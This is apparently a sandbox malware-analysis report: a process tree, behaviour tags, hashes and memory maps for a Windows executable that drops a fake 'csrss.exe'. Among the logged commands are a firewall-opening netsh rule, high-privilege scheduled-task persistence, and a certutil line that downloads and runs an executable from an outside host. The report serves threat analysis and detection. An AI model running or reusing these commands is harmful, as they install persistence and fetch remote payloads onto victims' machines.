C:\Users\Admin\AppData\Local\Temp\5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe"C:\Users\Admin\AppData\Local\Temp\5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 3282⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 3322⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 3322⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 6242⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7042⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7042⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7362⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7442⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7442⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7042⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 4642⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7562⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7522⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 8642⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7362⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 4642⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 8522⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 8402⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 6242⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe"C:\Users\Admin\AppData\Local\Temp\5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 2923⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 2963⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 2963⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 6283⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 6763⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 6923⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 6763⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 7203⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 7163⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 7763⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 8323⤵
- Program crash
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 3284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 3324⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 3324⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 6044⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 6964⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 7204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 7204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 7524⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 7844⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 8844⤵
- Program crash
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 9484⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 8084⤵
- Program crash
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 9804⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 6284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 10084⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 10004⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 10004⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 6284⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 10764⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 10724⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 10724⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 10724⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 6083⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 7602⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 664 -ip 6641⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 664 -ip 6641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 372 -p 3524 -ip 35241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 372 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2480 -ip 24801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2480 -ip 24801⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD57fc701478f1d43c3e62ff6d9c434ee77
SHA1790ba947810a29810ca9d5738abc6b03c9805cce
SHA2565f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb
SHA512d1ede33eeeb3d5d2dd44f73fda21bef9ae60c6a9c10d71aa9d5b57d2b233c7793f7b0e1deea1bf74f5084191bc86afa5ccb60803051efbe9491a3960a515e456
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD57fc701478f1d43c3e62ff6d9c434ee77
SHA1790ba947810a29810ca9d5738abc6b03c9805cce
SHA2565f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb
SHA512d1ede33eeeb3d5d2dd44f73fda21bef9ae60c6a9c10d71aa9d5b57d2b233c7793f7b0e1deea1bf74f5084191bc86afa5ccb60803051efbe9491a3960a515e456
-
memory/616-141-0x0000000000000000-mapping.dmp
-
memory/664-133-0x0000000001320000-0x0000000001B25000-memory.dmpFilesize
8.0MB
-
memory/664-134-0x0000000000400000-0x0000000000C1F000-memory.dmpFilesize
8.1MB
-
memory/664-135-0x0000000000400000-0x0000000000C1F000-memory.dmpFilesize
8.1MB
-
memory/664-132-0x0000000000F68000-0x0000000001310000-memory.dmpFilesize
3.7MB
-
memory/664-139-0x0000000000400000-0x0000000000C1F000-memory.dmpFilesize
8.1MB
-
memory/2320-155-0x0000000000000000-mapping.dmp
-
memory/2480-150-0x0000000000400000-0x0000000000C1F000-memory.dmpFilesize
8.1MB
-
memory/2480-149-0x0000000000400000-0x0000000000C1F000-memory.dmpFilesize
8.1MB
-
memory/2480-143-0x0000000000000000-mapping.dmp
-
memory/2480-146-0x0000000001400000-0x00000000017A8000-memory.dmpFilesize
3.7MB
-
memory/2480-147-0x0000000001800000-0x0000000002005000-memory.dmpFilesize
8.0MB
-
memory/3112-151-0x0000000000000000-mapping.dmp
-
memory/3524-148-0x0000000000400000-0x0000000000C1F000-memory.dmpFilesize
8.1MB
-
memory/3524-138-0x0000000000400000-0x0000000000C1F000-memory.dmpFilesize
8.1MB
-
memory/3524-142-0x0000000000400000-0x0000000000C1F000-memory.dmpFilesize
8.1MB
-
memory/3524-137-0x0000000000FDA000-0x0000000001382000-memory.dmpFilesize
3.7MB
-
memory/3524-136-0x0000000000000000-mapping.dmp
-
memory/4332-152-0x0000000000000000-mapping.dmp
-
memory/4348-140-0x0000000000000000-mapping.dmp
-
memory/4508-153-0x0000000000000000-mapping.dmp